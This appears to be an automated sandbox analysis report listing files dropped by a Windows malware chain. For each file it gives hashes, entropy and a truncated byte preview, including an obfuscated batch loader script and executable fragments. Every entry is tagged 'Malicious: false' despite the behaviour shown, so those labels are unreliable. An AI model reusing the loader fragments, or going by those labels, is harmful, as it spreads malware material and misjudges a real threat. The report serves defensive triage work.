SHA-256:	42EF3D8501BA38D7720E08A3D2CFAB6DC1F0D513DFB59876748BD219C9A75FE4
SHA-512:	76F93B8E28D18E82437102390BB07C2D4F32B86064E50EEA659BE75B4A8937E66B6B58BDBF53E9B7666DC3F18E99CA16F5049C2C1DB12EDF5F27E1ADFFC847FD
Malicious:	false
Reputation:	unknown
Preview:	@...e...........b....................................@..........H...............o..b~.D.poM...%..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....5.......System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.................%...K... ...........System.Xml..@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.............................................V.@..?@...@.X.@.J.@.Z.@.^.@.aT@.[T@..T@..S@.....{T@..S@..T@..S@._.@..T@..T@.VX@.UX@./T@..S@..T@.1T@.

C:\Users\user\AppData\Local\Temp\47bf4b68-9869-4c05-af58-4f757fe9302b.zip

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4893852
Entropy (8bit):	7.932357184708977
Encrypted:	false
SSDEEP:
MD5:	F0C67046553C21F129258BEDB72FB1B3
SHA1:	AAC103F9A1680DCA43FACEE8107B6DBC3541414B
SHA-256:	6F4378EEDD4DEF9B6C67DD69BAC07997DE63BBFF964EE239D813512F4C1DC545
SHA-512:	77B30CA0F8E1927A582DE2A2130C8EE109A60B6A41CD4DB969F760091DA1A1791FED6A50EE016DEEEB03C2ECB196B076CF4DD2785B4704CFC8EFABD10E370FF6
Malicious:	false
Reputation:	unknown
Preview:	PK..........nT.............. .WzWXFmfire64.dllUT......b..Xg..Xgux..............}...E.x..s.L...l6$;.%4{.... ..$dv.@.......,HBH...@.d.... ....^.)..cI..?DE.X...D..(.T........\..._.TUWuU..^.zU5....,......Q.......(.f.}.....6..''.]....K?...d.<....qvv...K..N;nN.#K.:..X,...Ll..n<...?.N...f.=p..4}..o.@~.o...}....{.......D.o<7..O.~s....9R..#^ .7.;..,......X....p....{...i..{g#RH.>&..x....A8A.kD..aHR.P........<.)."/....4..LCX..t..w1....~.^Hx>B.o.......5.B.....0...I.z..]..s....8......\|....%.._V...p...0.....A...w.T.o.Y..8]..}S%u.w..u.\|@k...lB.j..,...!r...7x.2...B...o...-.`...&......?W.w..K!.....L...{g(..(.=.7ip....@\|. ..~..#}?.~#2.....)^...r...7!...81.vk...l~..>.......m.......?~...X..fn.s+.DV..]b..1.+,hj.}0{......c._.&...W$.!...Qx....7..............Q.....-10...h...........bs.......]....N..X7xy..G....f. .@.a1.94...@......'..%...3E...i.a.YnW.....x'.W....j._J...$h..9."f".~.%....7...K.e....P'./.O).w.E....._..~.{..2&...y......+..L....e.x...0.....+...w.....#\H..&.

C:\Users\user\AppData\Local\Temp\Anytime

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	13255
Entropy (8bit):	5.133142318532814
Encrypted:	false
SSDEEP:
MD5:	DF17D7F692D04DD1E47C997C88920135
SHA1:	452B297F1226464F8A5653818BA3C895FD0EBB13
SHA-256:	0EDCBC537E414848A2D8BC41BC2E8571FC49B1B97F9A224A9A31472A239E5B35
SHA-512:	3FEF67EBAF2ED1D1519B13750A3450075A514076258D9FC4D0D97B0F1C2090AF3A00F7FC598193F4769222FA5FBA815EFF0879A46D42EBE228E87F042DEDFB13
Malicious:	false
Reputation:	unknown
Preview:	Set Submitting=1..LHEnough-..UEEncoding-..VKDatabases-Waste-Yemen-Pairs-Aaron-Introduce-Whatever-Franklin-Nominations-..vHjDealt-Tuition-Configured-Return-Kitty-Enough-Thumb-..baaTool-Celebrate-Administration-Montreal-Spoken-Sugar-Network-..Set Parliamentary=T..PgNecessarily-Cindy-Carriers-Necessity-Colon-Yen-Spears-Will-Mhz-..xHYConfidence-Agriculture-Submitting-Credit-Welding-Op-..ixConst-Lyrics-People-Say-Grip-Yn-Streams-Admission-Nutten-..IBErik-Larger-Bon-Wants-Marijuana-Score-Member-Lit-Inventory-..LrHit-Thoroughly-Simulation-Percentage-..bNlxFifth-Arctic-Msgid-Million-Lancaster-Gentle-..Set Inserted=n..zHVkTracking-Browsers-New-Counting-..rumPar-Un-Amount-..yadAdministrator-..BKAMachines-T-Allowance-Msg-Gale-Scan-..cKPComputational-Select-Destiny-..UfhkLottery-Janet-Workout-Respondents-Broken-Snapshot-Intel-Gamecube-Organisation-..Set Hits=u..mtInfectious-Nav-Au-Pavilion-Moreover-Approximately-..EJOESuppliers-Her-Smile-William-..sWtHFence-Haiti-Scientific-Legislation-Uw-Only-..o

C:\Users\user\AppData\Local\Temp\Anytime.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	DF17D7F692D04DD1E47C997C88920135
SHA1:	452B297F1226464F8A5653818BA3C895FD0EBB13
SHA-256:	0EDCBC537E414848A2D8BC41BC2E8571FC49B1B97F9A224A9A31472A239E5B35
SHA-512:	3FEF67EBAF2ED1D1519B13750A3450075A514076258D9FC4D0D97B0F1C2090AF3A00F7FC598193F4769222FA5FBA815EFF0879A46D42EBE228E87F042DEDFB13
Malicious:	false
Reputation:	unknown
Preview:	Set Submitting=1..LHEnough-..UEEncoding-..VKDatabases-Waste-Yemen-Pairs-Aaron-Introduce-Whatever-Franklin-Nominations-..vHjDealt-Tuition-Configured-Return-Kitty-Enough-Thumb-..baaTool-Celebrate-Administration-Montreal-Spoken-Sugar-Network-..Set Parliamentary=T..PgNecessarily-Cindy-Carriers-Necessity-Colon-Yen-Spears-Will-Mhz-..xHYConfidence-Agriculture-Submitting-Credit-Welding-Op-..ixConst-Lyrics-People-Say-Grip-Yn-Streams-Admission-Nutten-..IBErik-Larger-Bon-Wants-Marijuana-Score-Member-Lit-Inventory-..LrHit-Thoroughly-Simulation-Percentage-..bNlxFifth-Arctic-Msgid-Million-Lancaster-Gentle-..Set Inserted=n..zHVkTracking-Browsers-New-Counting-..rumPar-Un-Amount-..yadAdministrator-..BKAMachines-T-Allowance-Msg-Gale-Scan-..cKPComputational-Select-Destiny-..UfhkLottery-Janet-Workout-Respondents-Broken-Snapshot-Intel-Gamecube-Organisation-..Set Hits=u..mtInfectious-Nav-Au-Pavilion-Moreover-Approximately-..EJOESuppliers-Her-Smile-William-..sWtHFence-Haiti-Scientific-Legislation-Uw-Only-..o

C:\Users\user\AppData\Local\Temp\CSC3175A4D19118469EA1291A30DC82CEF5.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.092645826002751
Encrypted:	false
SSDEEP:
MD5:	DB48B8BADECB97A3EB892D9C1BDA9737
SHA1:	33AC5F03F754827AB65E88536369366558E247DA
SHA-256:	C9FD559C7377512E220141459F5BE85D1B5CF2FFD8150CC0AAB101C85D6DDEDD
SHA-512:	83A9F6F093A6CDD9311297251D6BD13BE5591B6B4827290DAFB2B9F17B8644A3F83DFB8B7D3AD9BEF80F21E79F9567C408F159FA5494F504D6DF337E1644AE21
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.v.4.4.v.i.s.h...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.v.4.4.v.i.s.h...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\Caroline

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	MPEG-4 LOAS, single stream
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	6.054037318454568
Encrypted:	false
SSDEEP:
MD5:	7B29CCBED9BF41D27FEF16AAA36A3F6D
SHA1:	7717D3268121A232052EF2051B00CE09BE523040
SHA-256:	1CD9AEBDEDF4628B7C7C7B0DFDC3377005D2466D7868E5BAFD16BFF6E10AB3CC
SHA-512:	E9B9F7AE3768B5205355ECB1D508126969011F20C1B71BB1D4E5DFA8AF87D6722E99F2B45164E33556AFA00A6A66A2E98619D2E3D51B184DC96F5D95B03BF020
Malicious:	false
Reputation:	unknown
Preview:	V.u.......j...........;y...Q..\|2...L2.t..I8..A..\|2...D2.t..@8.@...M.h..I...C...I.........8.....u8.L$..E..........D$.......P...?...Y.M..D$.P..R...L$..;...3.^..]...U.......V.u........j....N......;y...Q..\|2...L2.t..I8..A..\|2...D2.t..@8.@...M.h..I..CC.../.L$...........D$.P.?....M..D$.P.2R...L$....3.^..]...U..V.u....l...j...........By*...Q..\|2...L2.t..I8..A..\|2...D2.t..@8.@...u....U....&..F...........................#...3.^]...U......,SVWh...........YP.L$.................h.{L..D$..PB........h..I..[...]..C...u...........B.C..0....d...v........'Q...C....v .C..p....d........;N.t..v....3..S......y=...I...Q.8Y.t..R8..B..A.8Y.t..@8.u...X..H....F.............D$..M..............S..j..N...Qj.S..Y..3..t$(PP.D$8.D$0j.PS.D$H....._....$.L$.....3.A.L$.;.............h.....t$..D...0..t.I.j.._...Y.t$....1...j..t$..D$8.D$0j.PS.D$H.....I_......L$(.}....L$........d$ .j.Q.D..j..D$0.......D$$.D$$PS.._......L$..@....L$.A.L$.;...Y....D$..(.u.j.P.....t$........._^3.[..]...U...(S.].VW.}..

C:\Users\user\AppData\Local\Temp\Clothes

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	6.688142242761096
Encrypted:	false
SSDEEP:
MD5:	276D86A9CE1D12B97135A64221E988C9
SHA1:	5E20974EBF7EBCC09FF4E77E9495CC5DAE97F437
SHA-256:	FC51236B5E68DB023303CCC61441821A789421E6003B51A12B61C41E5A920ACC
SHA-512:	1B5B77262E356AE8BD13011E6BC58B2E6FEDEF70FB9A816A3CEAEF7FD99AC5546983A166DFC9A150E0A1A90085CFE87D3450B31AECDAE8935A23F26E25DEF7E8
Malicious:	false
Reputation:	unknown
Preview:	........x.........} .......0f......Q.u..u.j..p.......]..M ..`+J................}.3.VS.].WS.u.ja.u..X........u.............P...WSh.&J..:...V.u.WS.u.jb.u..".....(..t.WSh.&J......V.u.WS.u.je.u........(..t.WSh.&J......V.u.WS.u.jT.u........(....z...WSh.&J......V.u.WS.u.jY.u.......(....j....K...S.u.3....u.....u.P.u............&....u..u.h.&J..l...S.u..u..u.j..u.......$.E..H...xC....>.u..E..u........./............E..H...x.......u..E..u.......................!..2......E..H....\|.....} ......$ f....P.u..u.j.Q.D....u..u.h.&J..\|.....w..b...t...p......H...tZH...tD...u..E..H.....w........n.....u.f..uu.j.Y.} ......$0f....P.u..u.j...u..u.h.&J.......u..u V..`+J........}..].WS.u.jI.u.................WSh.&J.......u VWS.u.jM.u........(........WSh.&J.......u VWS.u.jS.u.......(...._...WSh.&J......u VWS.u.jp......u..u..u.jX.u..............E..@.....j........a.......E.....L.......P....u..u.P.......x....................4.......E.3.P.u.....Y.........E.9p t .E..u.P...Y.........M..M..M....M....3.+

C:\Users\user\AppData\Local\Temp\Cookies

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	6.718487272295611
Encrypted:	false
SSDEEP:
MD5:	B5E9631D70620129C0E9A4B7367EF933
SHA1:	EEC8A69F80E0BD7A7814277515FDC6B323D03E17
SHA-256:	63AD12716F555C46F75848E760BC946EE9F102A555807D742B39A4C271E8CD0E
SHA-512:	FFA91E450A720185421D87D23373F3E6F060BF7D8516CB91A4FF95D7093DCE735BE5D54D8B7AC0CB26B25D0B8D1C332843FA2BBB44CFCA3D68F8C8091DB06C33
Malicious:	false
Reputation:	unknown
Preview:	.......D$.P.D$.P.D$.PWj.....j..y.....t....D$...t..J......UH....u..D$.....@.Ph......'......\|$..t..R.R.D$...PW..Z....j..D$.P.D$.PW.........M....O..D$....f.x....8.....@...Pjr.k'...%...Q.6....t$ ."...........'....$.9.E.........V..p.I.j..t$..v.........N.....j..a..........K...j..N.v........j..t$..<.......Q...K..................j.................q...j.V...............E...@...@...E...@...E...E...E...E...E...E..D$..L$.Ph.....i&......S....D$..o..........7.......D....@...N....F....3..*.........T$,.>....D$ .T0..T$`f.z.3.T$.t...0.T$`..;..T$.tt.D$ ..0....$u..D$.......u~.D$\.....D$ B.4......T$...0f.x..t..8...j.j..t$h.t...L$ .D$LPV.............T$.B.....F......D$P......@..D....@.PQ.L$..d%.......D$P.L$..@..D....@.Ph.....A%..........L$...@.Pjo.)%...p...........;...h....D$..T$.P.L$D._...L$x.....D$x.$........P.L$h.D$\|......^...L$h.D$lW.D$@.L$,.t...L$..D$@P.E.P........D$H.D$X.D$D.D$$y...............D$0P.D$hP.AF....uM.L$@..]...D$0..~..D$.....D$.P.L$D..^.....u.D$h.T$l.D$(.D$H.D$X.D$D.

C:\Users\user\AppData\Local\Temp\Discounts

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	6.3925169568859745
Encrypted:	false
SSDEEP:
MD5:	96C2A69BA00EDD4324116A20F787D615
SHA1:	AF8CA257C40B8A1FDF8E50DD3087C0F32E80E14F
SHA-256:	5045FC386229D1CEEB51FCF42FB627636B819176D11B6DB666E344D2BBD641AC
SHA-512:	92DCCE73DCA4F049CC7D6F90CC969AE3B411AD1C2E364ED007AAF5BC648983702F3AC3CBDD6F684B19DF4E2C8BE79FFF6EEAFB461C801CE6EB9596CB9ECB4360
Malicious:	false
Reputation:	unknown
Preview:	ReservedFijiSupplementsFailingArrangementsFocusingMartGlucose..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Er

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	48057
Entropy (8bit):	7.996243886826112
Encrypted:	true
SSDEEP:
MD5:	AFADB062EE2801271436A6B1276691FB
SHA1:	2C17D33653D830324FCEBCFE07CBF7EC47A0F171
SHA-256:	A8CC85BC24EAF2905ABE8340EFF692639A779AA6EA070D8D529A242DD9EC65F0
SHA-512:	2C512A8AAEA5A760EFBEE60D2674F762389611F62F65853D379EAD414BF09914B2FDC9F01C446BBB88005717FDCFEE69D914675E7EC37BD6FE89207553F0240C
Malicious:	false
Reputation:	unknown
Preview:	y.!..D,...HW .\|J.SW...f.R...o..X....CN......>...f.U.!.R.@..+-_..,../7..OF.......yGn...g.....x...Wv..c..R `..J.c.......s...w....\..T.#.[uy...v..!W....i.<-R.2.u...!&j.R.:....(.^..;...m5......g..'.......;..........<b.:.2....X3o\|..N=X..86l....$..wX.`..K...~....)..^B..A.o...8...z.....r..'.d...#q.V....0.[...x.......'\.g/.{...2Ze.,6(.........._........),...S...s.{..+.Z)>..<...13EM..m(....3<....O.6';;E....z...Z5....D.d;\..F....W...3U.K.kt..e@..A<.md...u.Q.T\|.D.$......Z....b.&.........EtE...K...(..#...R.1a.0G...x..{e...n).....G..^8.[.....V<.9.$..{.Ax.XK......B:...F..D.\|H..v!.H4.:...O%./.IH..\}F'...%...\v..j......).I!..#..y....'c.<9...l6....Qq.9.u.1.{t.+.Q...;.\|iX/.4..JS.7.....a..kq<...X..$(.8.A.#.....0.....:h+A5.....)D,...z]...U.LH...N/....#.q.{3....U..6...;.I..bq....S\.w.....7.....a..=......7.T..yW.E.'3.X.ti.j.;..j....Tw..Qj.Fo2.X..wc.v.C....;.J.."k..........Y;.@.D....O@.\.^.<j...@.x+.*.01.......?.qZm...Pk.YR...R2_..pu%..x..(...)...(.N^3...3.

C:\Users\user\AppData\Local\Temp\Identifier

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	10391
Entropy (8bit):	7.442035946983781
Encrypted:	false
SSDEEP:
MD5:	50349B383D8A7A98B451980D2A079362
SHA1:	B72F4195B8CDCE53ECAB6A089E20AA777DECEDBB
SHA-256:	E520FF7ABEEF07E55E6C31C9790C5D77853D92DA128439C6759BB255C643FBFF
SHA-512:	D9C599F3CADEFFED0CA9FEB8B25A4CA4F55E45C08F4096A155BC282BAF3292DCA45DE80DD77B0710193E7119B429AB2D5C82B370F84201DADC8627725CE03732
Malicious:	false
Reputation:	unknown
Preview:	:.:.:.:.; ;@;\;`;.;.;.;.;.< <@<`<.<.<.<.<.<.= =@=`=.=.=.=.=.> >@>`>\|>.>....P....1H1X1h1x1.1.1.1.1.1.1.1.1.3.3.8.8.8.8.8.9.9.9.9.9.9 9$9(9,9094989<9p9...........2.2.2.3(3P3T3X3\3..............................................................................................................................................................................................................................................................................................................................................................................................................X&......0.&H...H........&90.&5...1.0...`.H.e......0\..+.....7....N0L0...+.....7...0..........010...`.H.e....... q^....s.m...`. P.t ..I....WWT...0...0..\|.......H.j.&..?&..Z.0....H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...160615000000Z..240615000000Z0Z1.0...U....BE1.0...U....GlobalSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G30.."0...*.H.............0.....

C:\Users\user\AppData\Local\Temp\MSIe3134.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488233466829981
Encrypted:	false
SSDEEP:
MD5:	519EEBFE26D680CDF990B4D49DA7A37D
SHA1:	8DA5CA97FA73FBD92AA8DBFC70B6884A6565B876
SHA-256:	326188BE50E6269D0CA8C7B3443E611BF33776B1D6C33927CD10ADAC25DCCB64
SHA-512:	3C41B8C34590663E1F07C1404D812AAF42C9ABC18394C99C704E727928D5783B038C929854F7070CD5DFD06E4AE9806BDC86A6FE7BA0C684B9369DA3DC0CB897
Malicious:	false
Reputation:	unknown
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.1.2./.2.0.2.4. . .1.3.:.1.4.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\Microphone

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.570191650451498
Encrypted:	false
SSDEEP:
MD5:	CAB3CCB6EB2DD7F487BACF1424B3A95D
SHA1:	7426E983E4F95BBA972965C7105AADBCAA554E9A
SHA-256:	F918A4299F8ED7D986B03D080E5E2408F69B232F1209E3E108E93E4385F27859
SHA-512:	3CA8A1CBA4F4F6C7ABF8D26CB90D245C027934450CE2B1F6346D67A9DA4D535590FEE0E4600552BA4493E285DC87813B3435FE961938E4C27FE48FA3126D11C6
Malicious:	false
Reputation:	unknown
Preview:	Y......ty.....].....U..M..m..]..E.......DzV......u............uA...W.....t0........t................"....!.....\|...r............._..^..y..u....3..V..~..t.......N...t.Q.G....f....^.@..A...~....~....t....u....@.......3..U..E..Q....Q..P..Q..I..P..H...]....A.....,t&...t!...t....t....u&.A..@...E.....j.X.j.X...t.H...t....t.3....@......3.@.-..M..u........@M........@M......3..%.X:....3..%.......3.....3....U..QQ.-..M..u.......@M........@M......3..%.X:....3..%.......3.....3..E..E.y.....L..]..E.....L...V3...P6M.F....L6M......3.i.e..l....P6M.B..p...\|.5..M..5.@M.^.U..Q.=.@M..VW.P6M.u.j..8...Y..........M.p.........5.@M..F...3.$..........3.......%...3.3.4...........u...E......~...3......3..$..........%...3..3.t....m.....v.u.P6M...3.$..........3....._..%...3.3.t.....^..U..QW.}..M...t@S...V..q.~,3.E.3..............3..........A..;.\|.M......1^[_....VWh.......>..........8...W.-...W..\....!........X.....8....t...\....t...t.3..........j.X_^.U..S.].3.V..Wf..N.....P.....L.

C:\Users\user\AppData\Local\Temp\Muslim

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.998049694577462
Encrypted:	true
SSDEEP:
MD5:	61813980334B4A90F9BFD27648B62008
SHA1:	FFD8D0D0C255F1F42D616B58E8BB60EC8B821BEA
SHA-256:	5010EC69947F21A6395A12918620BA0CA74032F3291EF4E3A01BCE4A4965ADAD
SHA-512:	ACF1B6B67C9111B9937966BFC973A451892CF97C3B78BFCB29DCB9F88ADDCEB07E0764280619EF57D3D7A52DC5051D7E00458ABFB162114FBC1B4AC7D01D4455
Malicious:	false
Reputation:	unknown
Preview:	Q../......\|l"%...m....2.S.H.&...?.d.fy..?...u.b"...4qK..s.{.kJ.g,I..Q.r......z@&V7....g......e.....`..6.Xh.f...T.3..d!..u.c.v...r.'..5...._k..b.....7..(h..z........<on.I........'.C...r....f.9..:.N..9.Tm/....Mt.\../&.T..^.j.".:..'.........w.i.H..'.+.}....D.-....A...93?..Ol"...'.\|......d..Q..(<L.%..b..^.......7F.V..e..[;..I.g.N...PF.......)"...'......N'.s.?8G..+...W...J......@.="..~..W..{.H.:.h..X.@..a.{..]kG..y.w.'..I#/....F......C7.....(73.Xm.N.........y=...;..\|.?hpl.t ...j.j)^..>Z........yz.......a..)...Z..[P.&.\v..Q}^.l.q.4..Jx{.;0/..q.<..(...f.'..,(./^.p..M..d..+FG..."...3E.e.#.\.s.Z'..6..O54YY..F...E...{+.....@..G....7#/...E../.Q.uO......[h..........}? Z...5.B....!U7s.8...mYQ[.3.......;]..2. ^..\|...f..s..I.i....)-.tF...<........j.3 =.j.N..-.K)..g.Uy...p.o6j`...P.s..$......R....\7;}...K4Z..T..C.wxK..8.aU.lv.(....$.XZ..&.5..(...%.....N?...afF..d.qW..t.....-...fC..r...D.B{...Y.?.. {..]......"T.....M.[f..3.%....\|.0...sa...$..`.m.

C:\Users\user\AppData\Local\Temp\Plains

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	hp200 (68010) BSD
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	5.670463317941191
Encrypted:	false
SSDEEP:
MD5:	0B9A6D733516B47306067E8CAACC24C3
SHA1:	75F374CED6DC331F5FA2415F017686FAE0050E91
SHA-256:	489EF6F0902C3D5E8CBC3A37C6E9AAB76C26FCF9D0B6FB274E12B6F74B024A79
SHA-512:	49310C80069AB031F54B18BFFA6EAC3EE693255A53F953470BC9692C9259221665B1371818F20D3EF0E3EC883A4137E3161A71A86F4F81CF4180E82138E85F34
Malicious:	false
Reputation:	unknown
Preview:	..La8i.[..zF+....g..h.k<..@8K...H...g.}7...%.......g.mg.1&.3....{4Wf....I..8......e.}.O...A...8..d.._\...M...P.4.d.....6D...@..uc.....2.I.....{.b..T.W.B...`...b....r.}....X].La..6M.r<.....P.`...;..I...p.._..v..<.-....U.F^......9M.......\......N.....3e[....k>?... #J.Y..&...-D...P.Z.X.m..4.I@...@7e.W...O.../.....j.U...I.l.N....Ai0T..Wq..uI.....b.R...\|m.:K....@VNQ.?\|G.d0...`7..O.8..4.. ....fX.L..z..B7C.......I.p4"%..H...`/..G..:...WI...`.1D./....!H...@.%OA...A.9"I.....x.<.u.6"d......7..x.G..@...@..O1...O(.;>.......'..8R..N....;......2]......................@G..?....E..?...@D..?....C..?....A..?....@..?....>..?...@=..?....;..?...@:..?....8..?....7..?....6..?....4..?....3..?....1..?...@0..?.......?...@-..?....+..?....*..?....)..?....'..?....&..?....$..?...@#..?....!..?...@ ..?.......?.......?.......?.......?.......?.......?...@...?.......?...@...?.......?.......?.......?.......?.......?.......?...@...?.......?...@...?.......?.......?.......?.......?.......?.......?...@...?.

C:\Users\user\AppData\Local\Temp\Prove

Download File

Process:	C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.998110730324849
Encrypted:	true
SSDEEP:
MD5:	FEEAC4D14872CAFAA5550A20138EE5DE
SHA1:	ACDC1AA790FBF2DE6EFE4F4F2DF82AA01FB8D70C
SHA-256:	1FCC248B6E9DF4BDE965DB564E290ADD2BCA48F62CD45D168E67C00AADB70819
SHA-512:	19464CFA4F69BFFFF570853A85947E5A12BF7334BF9A011F663B94354985292E47B17699EBE719F602A68E8945652A5B982C3E183C613DEADEA87C4B66A10BEB
Malicious:	false
Reputation:	unknown
Preview:	..]......d..ye.9...P..P.......}.g..d7......`..L.c.~..!Vn....%....(6.$....`.....B)...S.`..7..Z..g....a..,nz....C........B....7.In.cp...C....M.Upa..<...........Yezh.{kw.kD...7...0.y-..l....mN.(.^...Z...7c..P..r.piYB..Ug.w..B.g.I`.,.F.....m5.D..+n.......yy..j.u..~t.x.29.b. ...W.....p..Va..../.g~N......p.j._.0.<{PSW ..%O.\D.....,=..{...;......D..\.i.e.Z...7H>....+T...niV.~.^{....u.O...M..w..H...g.uip..........DVe...GW..[C..$.&....}"..!,t..%.xUR\|.8..Q...f.u..g%...H...z.....0\|aNt.<Q........}.L.[$..>\|..i3l,...;...v6..'B.n!\|.oG..1.....eV..>......1n0.D.....p.pu..7.$.._&.l...~...t..=K...?..=:.;...z.ER....~.m .oQ-.vf.MgD.j..eS..p.fx..Oe..)X.9.u.~..T5....,..<}..Hr..t/.A... A...\|.L@...v...$.oB.'..B.(C.R......p.y"...........(.YW.Z.Z..r3....".. \|...N......3.\.....7Vs..]....O...C.Y...........HD{.y;.n.26.....v...]0}........1.T.K.O.t..-#..@..1&_..7...q..<S.......F>.;v.U.h.Sw....W8/..[..~C\..2.gT.........y..N.WE.........}K.....S...

C:\Users\user\AppData\Local\Temp\RES21E2.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x486, 9 symbols, created Wed Dec 11 19:18:40 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	3.9788200762108583
Encrypted:	false
SSDEEP:
MD5:	84BBFEE86F9651AC89D07FD2328EAD58
SHA1:	BFB534D0B1DD224A9EA3F074A540E475E961E97D
SHA-256:	A71082ED6F81947DF1461B0B7793A3DCEC6206AA643191973601F4EF75638175
SHA-512:	AD349881316F6AD617541F7506A6846C69504BEECB83916E01EB50CF7E0A1FC5538141428980CC771D6615E42FD4B639BB2DD6E36858D10D8A737A3DDD6650AD
Malicious:	false
Reputation:	unknown
Preview:	L.....Yg.............debug$S........H...................@..B.rsrc$01........X.......,...........@..@.rsrc$02........P...6...............@..@........K....c:\Users\user\AppData\Local\Temp\CSC3175A4D19118469EA1291A30DC82CEF5.TMP.................H......-...7..........4.......C:\Users\user\AppData\Local\Temp\RES21E2.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Downloads.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.v.4.4.v.i.s.h...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... 